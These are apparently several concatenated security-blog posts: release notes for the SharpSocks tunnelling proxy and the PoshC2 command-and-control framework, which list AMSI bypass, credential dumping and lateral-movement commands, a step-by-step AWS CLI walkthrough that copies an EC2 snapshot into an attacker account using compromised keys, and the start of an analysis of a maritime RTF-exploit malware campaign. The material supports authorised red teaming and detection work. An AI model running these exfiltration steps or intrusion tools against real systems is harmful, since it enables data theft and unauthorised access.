Introducing SharpSocks v2.0

It has been over a year since we released the first version of SharpSocks, our proxy-aware reverse HTTP tunnelling SOCKS proxy. This post aims to provide a State of the Nation update for users. It details some of our experiences using it, how the experience and performance has been massively improved, and some of our observations along that journey for those interested in some of the juicy technical details under the hood.

TLDR – SharpSocks performance has been massively increased and is now fully integrated into PoshC2 so you can type sharpsocks to get this going straight away.

What’s the point of a SOCKS proxy?

When performing a simulated attack (red team), or indeed many other types of test, SOCKS proxies become an integral tool during the “Act on Objectives” phase of the kill chain. For example, if the target is behind the network perimeter, is a system accessible via RDP, is an intranet site or is a Citrix hosted application, the SOCKS proxy becomes an essential tool. It can allow access to those “internal only” resources, through an established implants C2 (Command and Control). The diagram below shows a typical scenario in a red team:

Currently, there are plenty of SOCKS proxy implementations that can be used in this scenario (which are very good) but these are usually built in to the various C2 frameworks. The initial goal of SharpSocks was to be “framework agnostic”, such that it could be deployed to a machine, independent of whether an implant was operating or not.

When a SOCKS Proxy is deployed via other C2 frameworks, the beacon frequency must be increased to provide quick feedback (usually 1-5 seconds), as a consequence of the volume of data being sent and received increasing considerably. In addition, there are connections to potentially sensitive services, which can generate events or Indicators of Compromise (IOCs) thus increasing the risk of detection.

By separating the SOCKS proxy from your main C2 Implant comms:

  • You can deploy the SOCKS Proxy to an unrelated machine and communicate through separate infrastructure.
  • Even if the SOCKS Proxy activity gets detected, it will not result in losing your initial foothold. If the SOCKS and C2 Implant are combined then there is a higher chance of detection.

Downsides to the “Separation” :

  • Additional setup, C2 infrastructure, separate commands and tools.
  • The actual code of gets larger.
  • The configuration becomes a lot more complicated.

It also does not help the fact that we like developing in C#, while everyone else wants to pwn stuff with Linux. In order to get around this, the use of SharpSocks with PoshC2 was supported by Wine. The SharpSocks client would work on a Linux OS but this was definitely less than optimal. Sooooo…

SharpSocks Server is now cross platform .Net Core

The main announcement is that at least on the SharpSocks side it has been ported to .Net Core (no more Wine thankfully; more on this below) and that its traffic is routed through PoshC2. In terms of PoshC2, which is detailed here: Introducing PoshC2 v5.0, major improvements have been made in its usability, in order to make SharpSocks a primary component rather than a tack on to the side.

Considering the risks we mentioned above, in deploying the SOCKS Proxy and implant on the same host and going back through the same infrastructure, is it still possible to deploy SharpSocks separately?

The answer is yes; absolutely the primary design goal of SharpSocks being deployed as a standalone SOCKS tool is still available.

State of the Nation

Some of the other project goals were to deliver a tool with the following features:

  1. Performance; ensure that the user experience of any protocol being tunnelled such as RDP is good.
  2. Proxy aware when sending traffic outside of the network.
  3. Allow for the easy customisation of the URLs used, the encryption mechanism and the data transport locations.

Over the last year, SharpSocks has seen regular usage on engagements where we have deployed PoshC2. One theme of threat intelligence led simulated attacks (CREST STAR, CBEST, TIBER etc.) is the use of a range of tools (i.e. C2 Frameworks) in order to simulate different levels of threat actor sophistication. PoshC2 is used in conjunction with commercial offerings and our own private Remote Access Tool (RAT) to simulate different types of adversaries.

Generally, feedback on SharpSocks use has been positive by our team, however the consistent themes of frustration have always been ease of use and performance. By far one of the most embarrassing situations as a developer you can get yourself into is when you completely forget how to setup your own tool. SOCKS proxying by nature is slow, however compared to other similar tools, SharpSocks still wasn’t the fastest.

This is where this updated release comes in. It is designed to make SharpSocks easier to use, fix some long standing bugs and generally make the performance of SOCKS proxying better and faster.

.Net Core

As mentioned above, the SharpSocks Server component is now built as a .Net Core project. Why .Net Core? Well, when SharpSocks was originally built, it was a purely “C# Windows” only solution. This was primarily due to my background as a professional developer before my career in InfoSec. Creating a Windows only tool really does, in terms of InfoSec, limit your potential user base. Eventually I came to the conclusion that yes – it had to become cross platform. Some of the options included Go or Python, but in the end porting to these would have required a complete rewrite of the underlying code base, something I was really not sure was worth the effort considering that .Net Core is available.

By porting to .Net Core, it is now possible to run SharpSocks on either Windows, Linux or MacOS with limited changes. The process of porting involved creating a new .Net Core project and moving the source into it. The only change that had to be made was that the encryption code tried to limit exposure of the key in memory by using DPAPI; in .Net Core this does not appear to be supported as I suspect there is no direct analogue in Linux or MacOS.

The main advantage of running as .NET Core rather than Wine is performance; tunnelling your traffic through SharpSocks feels so much faster. This is entirely logical, as it runs on a small optimised platform runtime.

Other Changes

Other fixes and changes include an overhaul of the error handling, particularly when the server has stopped responding. A particularly nasty issue was found that occurred when the redirector returned a 404 and the server had been stopped.

There is also a new option on Server called socketTimeout (pass either -st or -socketTimeout and an integer value for second e.g. 240).

  • This controls how long a SOCKS connection to the server will be held open without any data having been sent over it. This is not something that you should normally have to tweak, however if you are having problems with the application being tunnelled timing out then this is a value that may help.

How to use (SharpSocks in Posh)

  1. Get a shell (PowerShell or C# implant) on the target host using your favourite execution method.
  2. Within the implant handler, select the implant.
  3. Type sharpsocks within the implant handler. Immediately, a line will be printed out with detail that you will need to start the server. Copy this and paste it into a terminal (NOT into the PoshC2 implant handler).
  4. Once the server has started, type ‘Y’ and enter into the implant handler window. The output should now say that the implant has started. You can confirm this by looking at the output from the server you started in the previous step. If it has started, you should see the port that the SOCKS Proxy is now listening on (most likely 43334).
  5. If you haven’t already done so, now is the time to configure proxychains, your browser or the SOCKS aware application to point to localhost:43334.
  6. With this you can start SOCKS Proxying away.

SharpSocks Deep Dive

As stated, it had been a while since the initial release of SharpSocks and it was time to do a little work on it. The following is a bit of a deep dive on how it works, some of the changes that have been made recently, and issues that we had to work through. If there is anything you would like to know more about, hit me up on twitter @rbmaslen or on the PoshC2 Slack channel ( – email us @ labs at nettitude dot com for an invite).

Long Polling

Having taken Silent Break Security’s excellent Dark Side Ops 2 course ( ) at DerbyCon last year, before smashing the 2018 CTF with SpicyWeasel, I was struck by the usefulness of HTTP Long Poll. I had come across the concept many years ago in another life as a developer but hadn’t really grasped the relevance to the Red Team toolkit until I took the course.

The premise, essentially, is that you are inverting the beacon. In traditional implants:

  • The main thread is on a timer (with an inbuilt jitter value).
  • When this interval elapses a call back is made to the C2 Server.

One of the main problems with running on beacon time is that once you have queued your task, there is plenty of time to be distracted before the results arrive in. Long Polling means that when a request is made to an HTTP Server, the connection will be held open until a result set is ready (or a much longer time out elapses server side).

How this works in the implant context is that when the request comes into the C2 Server from the implant, the connection (HTTP Request) is held open until tasks have been queued or if tasks are queued and ready to go, it returns immediately. This puts the wait upon the Server side and makes the implant/tasking feel very snappy much more like a command line.

It also means shorter beacon times when being actively used and longer ones when not in use, so the operator needs to spend less time adjusting the sleep time. It also probably makes it a little harder for tools looking for “regular” HTTP requests in order to identify beacons.

So how does that relate to SharpSocks? Well, I’m glad you asked; first it’s probably best to understand how SharpSocks works as a concept.

So how does it all work then?

Very good question, if you do know answers on a postcard please 🙂

Breaking it down, there are at a bare minimum two components, the first being the “Server” and the second being “Implant” (both as separate Visual Studio projects). Within the Visual Studio solutions there are also two test applications that you can use if you are debugging the libraries. The way that SharpSocks is normally deployed, particularly via the Implant, is either a PowerShell script that loads the library or a C# implant that loads the Assembly (.dll).

The Server at it’s core is an HTTPListener. When the server starts up, it starts listening for connections to the URI that has been passed.

An important point is that the Implant and the Server need to share a few secrets:

  1. One is an Encryption Key.
  2. The other is a Command Channel Session Id.

The Implant communicates to the Server via XML Messages in regular Web Requests (encrypted of course. The request needs to identify the connection or the Command Channel that messages are being sent about by a randomly generated Session Id.

The Command Channel has a special one that is shared between the “Server” and the “Implant’ at start-up. Messages about connections opening and closing are sent over the Command Channel (encrypted of course with the key); actual traffic and a status are sent with session id’s that identify the connection.

I need to admit that XML is not a great format. It was used for simplicity when SharpSocks was first built, and yes it will be replaced at some point in time, but it works for the moment. A point could also be made about the lack of multiplexing; at the moment each request will only have information about one Session Id (Command Channel can have multiple open/close messages). This is on the road map, as I would really like to be able to reduce the number of web requests.

The first time a Command Channel request is sent by the Implant another port on the localhost interface is opened up. This is the SOCKS port where you can point your browser, other SOCKS proxy aware app or proxychains (the port itself either defaults to 43334 or what you pass on the command line). Now the app that wants to proxy needs to first send a request to this port identifying the host and the port that it wants to open a connection to (an example of the structure here is for SOCKS4) before it can send any data. The details about the connection to open is then queued as a Command Channel task which will be picked up by the implants Command Channel web request. Once the implant receives this message back, the connection to the specified host is attempted and a message based on the status of this connection is returned to the Server.

Back to Long Polling

So thinking about Long Polling you can probably immediately see where this might be of benefit to the Command Channel, particularly if you have an application that is infrequently opening connections. Having a traditional beacon means that there will be a delay in opening the connection at the implant side if the proxying application didn’t make the request to open right before the beacon arrived.

For this reason the implant now uses Long Polling for the Command Channel. If there are no connections to Open or Close (or none arrive during the wait) the Server will hold the connection open for 40 seconds delay before returning back to the implant telling it there is no work to do (the Implant will then wait a very small amount of time before initiating the connection again). This Long Poll interval can be tweaked on the Server at runtime by typing:

LPoll= e.g. LPoll=5 or LPoll=60

Heading back to the implant side, when it receives the Open message it will then attempt to create a TCP Connection to the specified host:port. Now in the previous version, all of the work that it was to perform was started asynchronously within a Task (one was opened per connection). The code running in this task would asynchronously poll that connection to the target application and then send/receive data to and from the Server via web requests. The Server itself would also have a polling loop checking any data on the SOCKS connection.

This kind of worked in theory, but using some real world applications like RDP (and then trying to debug why connections were really slow) showed up that this was a less than optimal design. There were too many Tasks being created (far too many resources being used), it was next to impossible to get an idea of any connections state when debugging and it had really been coded using a too simplistic notion that traffic would follow a pattern of:


Changing in this release, instead of both the Server and the Implant having a Task per open connection, there is now only a single loop that polls each of connections regularly (very regularly) to check if the connection is still open and read any data that is available. Moving to a singular loop has shown performance gains rather than losses (so the lesson here is beware of unnecessary parallelism particularly in terms of complexity).

Any data that has been read from a polled connection is written into a queue and then an Event is triggered (specifically a ManualResetEvent notifying another thread that there is data to send back to the Server. This threads sole job is to wait until there is data to send via Web Request back to the Server (it is important to note this is fire and forget, NOT long polled). It’s best to think of this as a standard ProducerConsumer loop. In order to implement it here I am using ConcurrentQueue’s. These are a really cool class helping to avoid locks in concurrent code.

So how does the data come back from Server? The Implant also makes a long polling request per open connection to poll the Servers queue for any data that needs to be sent down the SOCKS connection.

It’s really important to understand how this works as it leads to one of the more frustrating limits I’ve found in .Net (I’ve been coding C# since 2007 and this is the first time I have seen it).

Summing up in terms of Web Requests back to the server we have at least:

  • 1 Long Polled Command Channel back to the Server.
  • 1 Long Polled Data request per open connection.
  • 1 Normal request when the Target application has sent data to the implant.

I’ve got all the code ready, should work really nice but NOPE it’s gone really slow again. What?!

Limiting limits

If you have done any coding using WebClient, C#’s wrapper for making Web Requests, then you might have also come across ServicePoint & ServicePointManager. These classes control the underlying connection, the connection pool and the TLS connection to the target site.

In order to do a System Test of everything I configured the test apps to point to each other (on Windows 10 using FireFox with its proxy configured to use the SOCKS proxy port) – I tried to load the BBC Website and the results were not great. First of all it’s insane how much gets loaded by most modern websites and how many connections to different sites there are.

I’ve probably ignored this in Burp by hiding what is not in scope… Both Test applications have the option of passing verbose for logging, yielding a load of information about the connections being opened, data being sent back & forth, and timings. Now i could see a delay in various places but having so many connections made it really difficult, so thinking only having one connection might make life easier, I resorted to Curl.

Sure enough, yes, in Curl I still kept getting an artificial delay, so there was no other option but to go back into Visual Studio and debug it. Did this yield any info? Not really. So, I could see the connection being made, everything was cool until data needed to be sent back and there was always a delay that appeared consistent with the Long Poll, but not always.

Is there a happy ending?

Well, yes. After an inordinate amount of testing, thinking about trying to use Kestrel instead of HTTPListener and much reading of documentation, I came across this utterly insane limit within the ServicePointManager. Now, each domain that you make a connection to will have a ServicePoint instance, meaning that there is a maximum of two (yes, 2!) concurrent connections to any site. This value can be modified, but it must be done before any connection is made to the host otherwise a ServicePoint object will have been created and the limit will be two.

The image above is from:

So, we know that at least two connections are being Long Polled and any time data is read from the connection to the target application a third Web Request will be made. Either the Command Channel or Implants other connection will have to return before this can be sent. What can I say? Massively frustrating and I had never seen this before (or maybe I had in the past, forgotten it and am just getting old, who knows).


So, to wrap what have we learnt here… to be honest it just reinforces lessons that I have learnt continually through my career:

  • RTFM – there is incredible value in the MSDN.
  • Avoid unnecessary complexity and too much parallelism.

With this release I really feel that SharpSocks is getting a lot closer to the initial goals of being a very easy to use SOCKS proxy with solid performance. The upcoming features that are still in development are:

  • Reduce some of the web traffic mainly by multiplexing some messages.
  • Stop using XML and use a better message format.
  • Tighter integration with PoshC2.

Oh – I almost forgot: SOCKS5 (TCP only for the moment) and thus Burp are now supported. SOCKS away my friends!

Introducing PoshC2 v5.0

PoshC2 v5.0 is here and there are significant changes and improvements that we’re very excited to reveal!  There’s been a move to Python3, much improved documentation, significant functionality and quality of life improvements, and more.  Read on for a detailed description of it all!


We have had a bit of a change around with repository names, as described here.

This brings us back to PoshC2 being the latest and greatest repository, and PoshC2_old being the obsolete repository.


The documentation for PoshC2 has been completely re-written and updated, with emphasis on red team trade-craft when using PoshC2 and on extending and customising it to suit any situation or environment.

It will still be updated regularly, but there will be less focus on what all the different techniques are, and more on how to use PoshC2 itself. Check it out at


PoshC2 has been completely updated to use Python3. With Python2 becoming End-of-Life in January 2020, it was quite an important change to make.

Posh Commands

Efforts have been made to abstract the potentially difficult nuances of setting up and using PoshC2 away from the user.  Remember having to change into the PoshC2 directory, setup and use a Python virtual environment, to avoid dependency version clashes with the rest of your system?  That’s a thing of the past.

The install script now installs a number of posh-* commands to your /usr/bin directory, before setting up the virtual environment ahead of time. These scripts then encapsulate the use of that environment for the user, allowing PoshC2 to be run and configured from any directory, and it will seamlessly use the virtual environment and other configurations behind the scenes.

For example, PoshC2 can be configured from any directory using your editor of choice by issuing:


It can then be installed and run as a service simply by executing:


Conversely so it can be stopped using:


The Implant-Handler can now be started using posh with a username which is used for logging purposes:

posh u crashoverride

…and you’re good to go.

Use of these scripts is recommended, as any further logic will also go into them and we will work to ensure that PoshC2 works seamlessly when they are used, while other techniques may not be maintained.


PoshC2 now has an intelligent new prompt that can aid users when performing red teaming!

This prompt has context-sensitive auto-completions, intelligently suggesting commands based on the current prompt, such as PowerShell commands in a PowerShell prompt and so on. A unique command history is stored per context, so you won’t have to scroll back through PowerShell commands on a C# implant.

In addition to this, the prompt features fish-shell-like auto-suggestions in dark grey text based on commands from that prompt’s history, so if you want to repeat or edit log commands you can complete the suggestion by pressing the right-arrow key or ctrl+e.

Combined with the help and searchhelp commands, we hope that this will allow users of PoshC2 to quickly explore PoshC2s functionality and enable veteran users efficiency and speed of operation for those crucial engagements.


SharpSocks has undergone some significant improvements and integration into PoshC2. It started out as a standalone cmdlet that can be initiated from any PS session, but we have now fully integrated this so the users can be in any implant and type sharpsocks to get this going. A full separate blog has been written with all the changes for SharpSocks and can be found here:

Introducing SharpSocks v2.0

New Payloads

Several new payloads have been added out-of-the-box, including a DotNet2JS payload using James Forshaw’s DotNet2JScript technique, and a new C# payload for PowerShell Implants.

Sharp Implant Improvements

AMSI Bypass

.NET 4.8 introduced Antimalware scanning for all assemblies, including those loaded using Assembly.Load(byte[] bytes), which previously went unchecked and is used by our PowerShell-less C# implant to load C# executables and run them in memory.

This release features a new bypass-amsi command for the C# implant which will patch AMSI in memory and allow flagged modules to be loaded and executed.


We fully appreciate that nobody has time to type out long commands over and over. To that end, we’ve streamlined the run-exe commands for the C# Implant. Now, instead of run-exe Seatbelt.Program Seatbelt all it’s just seatbelt all.

We’ve added aliases for all our favourite commands, but you can add your own in See the documentation for more details.

Lateral Movement Methods

In addition to integrating SharpSocks, we’ve integrated PBind, another great tool written by Doug McLeod. This is now full integrated into PoshC2 and users can type invoke-wmijspbindpayload with the relevant arguments to try and attempt execution on another endpoint using SMB named pipes. The default SMB named pipe for PoshC2 is jaccdpqnvbrrxlaf.

invoke-wmijspbindpayload -target  -domain  -user  -pass ''

In addition to the lateral movement command, PoshC2 will automatically create several payloads that are named PBind payloads. These, like the normal payloads, can be executed against a remote host in whichever technique you prefer to use; dcom, wmi, psexec, etc.

Once you have initiated the payload on a remote host, it will automatically open an SMB named pipe ready for connection. You must know the secret key, the encryption key and the pipe name to communicate, but we already have you covered for this as it tells you what commands to run to interact with the PBind implant:

If you want any other information on PBind, a previous blog covers the techniques in more details and the comms methods including a diagram.

FPC script

Amongst the various scripts that are added to /usr/bin is the fpc (Find PoshC2 Command) script, added to aid in reporting. This script allows you to search for PoshC2 commands, filtering on keywords in the command, the command output and by user.

Credential management

We’ve improved the credential management in PoshC2, and now when you run Mimikatz’s logonpasswords, the credentials will automatically be parsed and stored in the database, and can be displayed or manipulated using the creds command.


There’s also a myriad other improvements such as to logging, tracking file hashes on upload, UX improvements, internal modularisation and refactoring and module updates, with a lot more in the pipeline to come. Stay tuned on Twitter (@Nettitude_Labs, @benpturner, @m0rv4i) for the latest updates or join the PoshC2 slack channel by emailing labs at nettitude dot com.


There’s a lot planned for PoshC2 but the main upcoming features are detailed below.


The bad news is that support for any platform other than Debian flavours of Linux has been retired. While PoshC2 is written in Python3 and can be maintained to work across multiple platforms, we have instead elected to only support Debian-based distributions.  However, we are working to bring Docker support to PoshC2 to add the ability to run PoshC2 from a Docker container, allowing full and stable execution across any platform that supports Docker, including Windows and Mac OSX.

A docker branch has been created with a Dockerfile added in addition to a number of Docker commands that can be used to manage the containers, but this is still very much in an unstable format.


One of the biggest concerns when running a red team engagement is operational security, and to that end we’re working on improving both the offensive side by making more of the inner workings of PoshC2 configurable, but also the reporting side by improving file upload tracking, hosts and users compromised and so on.

This will complement improvements to the HTML report and improve the OpSec and reporting side of things considerably.

Full changelist

The full changelist is below:

  • Added Harmj0y’s KeeThief to modules
  • Added RastaMouse’s Watson to modules
  • Added SafetyDump for minidumping in memory
  • Added file hashing when a file is uploaded
  • Rework imports to improve dependency management
  • Break up ImplantHandler into, and
  • Add ability to upload a file to an ADS
  • Update BloodHound
  • Pull out unpatched payloads into file for easy management
  • Add base64 encoded versions of the shellcode to the payloads directory
  • Add a configurable jitter to all implants
  • Update the notifications config if it is changed in the
  • Add NotificationsProjectName in which is displayed in notifications message
  • Add fpc script which searches the Posh DB for a particular command
  • Modify InjectShellcode logged command to remove base64 encoded shellcode and instead just log loaded filename
  • Add aliases for common sharp modules
  • Fix Shellcode_migrate payload creation
  • Start randomuris with a letter then proceed with random letters and numbers as e.g. msbuild errors if task name starts with a number
  • Fix issue with cred-popper and keylogger using same variable and conflicting
  • Add SCF files to the opsec command
  • Add posh commands on *nix for abstracting the use of pipenv and set up the env in the install script.
  • Move to python3 as python2 is EoL in 2020
  • Misc performance improvments, such as reduced cylomatic complexity and only processing the command once per input
  • Store creds in the DB, add ability to add creds/have them automatically parsed from mimikatz and add ability to specify use of a credId for some commands
  • Add create-shortcut command
  • Don’t show powershell one liner when domain fronting as it tries to connect directly
  • Added set-killdate command
  • Added posh-stop-service linux command
  • Updated Mimikatz
  • Added SafetyKatz
  • posh-config uses $EDITOR variable
  • New Sharp_Powershell_Runner payload compilation with mono
  • Added DotNet2JS Payload generation
  • Added get-computerinfo and get-dodgyprocesses to c# core
  • Misc small fixes
  • Updated help and readme
  • Add new prompt with intelligent autocompletions, autosuggestions and smart history
  • Log when a user logs on or logs off in the C2 server output
  • Add ability to broadcast messages in the C2 server output using the ‘message’ command
  • Add quit commands to Sharp and Python handlers
  • output-to-html renamed to generate-reports
  • Force setting of username for logging
  • Show Implant type at Implant prompt
  • Update User Agent string to match current Chrome
  • Added New SharpSocks
  • Addd * suffix for usernames for High Integrity processes
  • Added lateral movements to Sharp Implant (SMB/DCOM/WMI)
  • Add AMSI bypass for C# Implant
  • Updated PBIND hosts in opsec
  • Added invoke-mimikatz output from PBIND to be parsed
  • Updated PBIND to send stderror if the command does not work
  • Added remove-label for implants
  • Updated PSHandler to add DomainFrontURL to sharpsocks if in use
  • Updated RunAs-NetOnly
  • Added RunAs-NetOnly which uses SimpleImpersonation to create a token
  • Removed print statement on pbind-loadmodule
  • Updated pbind-command and pbind-module
  • Updated the pbind commands
  • Updated invoke-wmijspbindpayload
  • Added PBind payloads to PoshC2
  • Updated opsec error when username is None
  • Add output-to-html retired message
  • Add Matterpreter’s Shhmon
  • Updated ‘tasks’ command to add ImplantID
  • List PowerShell modules pretty like C# modules
  • Add new Sharp modules
  • Port the .NET AMSI Bypass to PowerShell
  • Updated Get-ScreenshotMulti to Continue if Screen is Locked
  • Correct Jitter time equation in PS implant
  • Print last commit and timestamp in header
  • Prompt improvements
  • Updated C2Server / SharpSocks Error responses
  • Updated HTML output
  • Update to use virtualenv and only copy fpc to /usr/bin
  • Updated help
  • Expand on opsec no-nos
  • Update inject-shellcode help

How to Exfiltrate AWS EC2 Data

As Cloud infrastructure has become common, it has also become common for penetration testers to find themselves attacking clients that rely on e.g. AWS or Azure environments for handling, storing, and processing critical data.

There are many new and interesting attack paths an adversary can take once they have obtained some sort of access to the environment. For AWS, this is a short indicative list:

  • Pivoting via Roles and Policies.
  • Modifying Lambda functions.
  • Modifying CloudWatch logs.
  • Exfiltrating database backups.
  • Exfiltrating EC2 images and snapshots.

This article will focus on how to exfiltrate an EC2 (EBS) snapshot once an AWS CLI/API access key has been compromised. In AWS-speak, a snapshot is the backup of the contents of an EC2 instance.

Types of access

Broadly speaking, there are three types of credential that provide access to an AWS environment:

  • AWS Management Console (Web portal) email and password.
  • AWS CLI/API access keys.
  • Resource/Application specific credentials such as SSH private keys, usernames and passwords, or client-side certificates.

Security controls

Traditional security controls such as IP Whitelisting, MFA, and account lockout after subsequent login failures are supported to varying degrees, require hacks, and in some cases are outright not advised by the Cloud provider.

For example, account lockout after subsequent failed login attempts is not currently supported by AWS. Yes, adversaries can brute force their way into the AWS Management Console, assuming no MFA is implemented. One quick fix for this is to create a Lambda function that works off the back of CloudTrail logs – these logs however are not generated and processed in real time.

Another example is IP Whitelisting, both to the AWS Management Console and to the CLI/API access. Currently there is no easy and ubiquitous way of enforcing this. AWS provides a guide that helps towards this ( but within the same document the following note highlights its immaturity:

Due to the issues listed above, it is not uncommon for an attacker to be in a position to bypass the majority of the perimeter controls via the AWS CLI interface. This means that even if a developer needs to jump through multiple security gateways in order to access a private EC2 instance, by using AWS CLI an adversary can obtain direct access to its data.

Exfiltrating EC2 images and snapshots

In order to exfiltrate the desired EC2 data, the following steps need to be taken:

  1. Using the compromised credentials, we will create an EC2 snapshot from the desired EBS volume.
  2. Modify the permissions of the newly created snapshot so that it can be shared with our own AWS account.
  3. Using our own AWS account, create a new EBS volume from the shared snapshot.
  4. Attach the EBS volume to our EC2 instance and download its contents for analysis.

We will take advantage of the EBS snapshot sharing functionality of AWS. Specifically, use the modify-snapshot-attribute of AWS CLI and the --create-volume-permission option which will allow us to share it with another AWS account.

In order for the above to work, there are two conditions that need to be met:

  1. The compromised access keys need to have the necessary EC2 permissions to describe-volumes and create-snapshot.
  2. Your EC2 instance is within the same Region as the target.

Manual exfiltration via the CLI

The following commands utilise two credential profiles: victim, which contains the compromised AWS keys, and attacker, which contains our own credentials.

A note on permissions: AWS permissions can be complex to understand at first; there are many ways of granting an IAM user permissions, and unfortunately there is not single “show-permissions” command that will respond with all explicit and inherited permissions a user has. How AWS permissions, roles, policies, and groups work is outside the scope of this article. The following commands can be used, however, to navigate your way through the AWS permission maze:

aws iam list-groups-for-user --user-name

aws iam list-attached-group-policies --group-name

aws iam list-group-policies --group-name

aws iam list-attached-user-policies --user-name

aws iam list-user-policies --user-name


The first step is to list all the available EC2 instances and identify the EBS volumes that are attached to it:

aws ec2 describe-instances --profile victim --region us-east-1

This will output something similar to this:

Create and Share

The next step is to create a snapshot from the EBS volume that was identified previously. Before that, however, we need to know our own Account ID so that we can give access to it. A quick way of performing this is via the sts get-caller-identity command:

aws sts get-caller-identity --profile attacker

To create the snapshot, we will issue the following command:

aws ec2 create-snapshot --volume-id vol-0ffdb5642fa255c81 --profile victim --region us-east-1

Depending on the size of the volume, creation of a snapshot can take a few seconds or minutes to complete. The following command will query its state:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Once the snapshot creation process finishes, we proceed to grant “read” permissions to the attacker. Before we do that, lets see what happens when the attacker tries to query the snapshot:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

As expected, the attacker doesn’t yet have the appropriate permissions.

We address this by utilising the modify-snapshot-attribute command in conjunction with the attacker’s ID:

aws ec2 modify-snapshot-attribute --snapshot-id snap-0e39b84cde6992a01 --attribute createVolumePermission --operation-type add --user-ids [REDACTED] --profile victim --region us-east-1

The above command doesn’t give any output, but if we run the describe-snapshots command as the attacker we can verify that we can now access it:


Now that we have access to the target snapshot, we need to spin up an EC2 instance, create a new EBS volume using the target snapshot, and then attach that volume to the EC2 instance.

We need to know the InstanceId and in which availability zone it resides. Both can be found by issuing the describe-instances command, or by quickly checking the AWS Console.

aws ec2 create-volume --size 8 --availability-zone us-east-1b --volume-type gp2 --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

Using the VolumeId, we attach the volume to our instance:

aws ec2 attach-volume --volume-id vol-02a5525559ea504af --instance-id i-0e930eb839bdf673d --device /dev/xvdf --profile attacker --region us-east-1

We can verify that the volume has been attached by issuing the lsblk command in our EC2 instance

The final step is to create a directory and then mount the volume:

sudo mkdir /data

sudo mount /dev/xvdf1 /data -t xfs

Note: you can identify the target file-system by issuing:


At this point we have successfully mounted our target’s data in our own EC2 instance and we are ready to transfer them away from AWS.


We want to remove the snapshot that we originally created:

aws ec2 delete-snapshot --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Additionally, we want to detach and delete the volume within our own environment:

sudo umount /data

aws ec2 detach-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

aws ec2 delete-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

Detection and response

The process of creating, sharing, and deleting snapshots leaves a number of log entries, including the following:

CreateSnapshot and DeleteSnapshot events can be very frequent in medium-to-large scale AWS deployments with automated backup processes. However, the ModifySnapshotAttribute is more interesting:

The sourceIPAddress is the IP address from where the attacker issued the AWS CLI command. The userAgent, as you can see, also includes the hostname from where the AWS CLI command was issued. @thesubtlety has written an interesting post on how to overcome this:

The most likely IOC here is the createVolumePermission entry, where it also identifies who this snapshot was shared with.

Having said that, AWS Logs operate on an approximate 15 minute delay. That means it can take up to 15 minutes for an AWS CLI command to appear in CloudTrail.


  • Deny the ec2:CreateVolumePermission action in all groups, roles, and users. It is unlikely that this will be required in most environments.
  • If the ec2:CreateVolumePermission action is required to satisfy business requirements, create a CloudWatch alert that goes off when the volume is shared with a non-whitelisted userId.
  • Key rotation should be implemented in all access keys, with more frequent rotation for highly-privileged principals.
  • Employ a granular permission policy based on the need to know principle.
  • Enforce MFA both to the management console and to the AWS CLI/API.


In this article we have shown how an adversary who has compromised a set of AWS access keys can bypass firewalls, private VPCs and bastion hosts, and directly exfiltrate the contents of an EC2 instance without needing logical access to the host itself nor requiring the root’s SSH keys.

There are many variations of this technique, including modifying the permissions of an S3 bucket that the snapshots reside in.

It comes to no surprise that traditional security principles such as defence in depth, key rotation, and granular access controls can help minimise the risk of an AWS environment data breach.

Maritime Malware Campaigns – Document Payloads

As part of our research into threats facing the marine and offshore sector, we recently uncovered an ongoing malware campaign.  It makes use of specific maritime industry related document lures, and attempts to evade detection by disguising command and control traffic as traffic to legitimate maritime-related businesses. From our examination of the documents being sent, we assess that it is likely this forms part of a wider malware distribution service that is available for purchase, but with purchasers providing the malware, configuration and targeting information.

This post will detail the specifics of this campaign, showing how it works and how we were able to uncover more information on the organizations it was attempting to impersonate.

Payload delivery

The malicious payloads are sent using a set of emails tailored to situations in the maritime industry where vessels send forms by email, often as Microsoft Word files. It is likely this is an attempt to take advantage of employees who are used to dealing with email attachments on a regular basis, and are hence more likely to open them. Some examples of email subjects seen are:

  • PAN – Pre Arrival Notification”: This is a form containing information on the vessel, cargo etc. sent to a port before arrival.
  • MV’GLYFADA’ PDA INQUIRY”: A PDA is a ‘pro-forma disbursement account’ – a statement sent by a ship’s agent to the owner before the ship arrives in a port. This email is asking for the attached ‘PDA quotation form’ to be completed and returned.
  • MV DA TAI V32 PDA FORMAT & AGENCY APPOINTMENT ETA 10-11JULY”: This is similar to the last, asking for a quotation for the vessel MV Da Tai arriving in Singapore.
  • MV XINDAQIANG DISCHARGING WHEAT”: In this case, the email is enquiring about port/berth restrictions, working hours, and discharging rates, with the attachment appearing to be the vessel particulars.
  • Vessel Sailing Detail : MV.E8Q MCC NANJING VOY – 926N, MV.I2F BLPL”: Here the email outlines a set of ‘feeder ship’ movements (ships transferring containers from local ports to central container terminals), with ’more details’ in the attachment.

It is worth noting that in all cases care has been taken to construct a plausible email message – for example, in the ‘Vessel Sailing Detail’ email, the three vessels listed are all container ships which could operate as feeder ships, and operate in the locality of the ports listed. Likewise, Xin Da Qiang is a bulk freighter which could be capable of carrying grain.

Each email also has a legitimate email signature which matches what would be expected from that company, although small typos have been introduced into phone numbers and email address to stop them working:

Feeder email

Document payload – understanding CVE-2017-8570

In each case the email attachment is an RTF file named with the .doc extension, which by default will open in Microsoft Word. When opened, the file simply prompts the user to enable editing to see the document, before using CVE-2017-8570 (RTF Composite Moniker vulnerability) to download and execute a payload on the machine.

Document example

CVE-2017-8570 has been covered by the original finder, but there were a set of similar OLE vulnerabilities discovered around the same time, and it is worth taking a look at how the RTF file is constructed to specifically exploit CVE-2017-8570, and what it drops onto the system.

Alongside text and images, RTF files can contain Microsoft OLE links and embedded files which are denoted by the \object tag. OLE (Object Linking and Embedding) data structures allow documents to contain objects created by a different application which retain their original format and can be edited with the toolbars and menus from the original application which created it.

The RTF files in this campaign contain two objects of interest; one a package and the other with a class of Word.Document.8.

The structure of the objects embedded in the RTF file is defined by the EmbeddedObject specification, for example the Word.Document.8 object:

01 05 00 00 OLEVersion
02 00 00 00 FormatID
09 00 00 00 ClassName length
4F 4C 45 32 OLE2Link
4C 49 6E 6B
00 00 00 00 Topic Name (null)
00 00 00 00 Item Name (null)
00 0A 00 00 Data Len (2560 bytes)

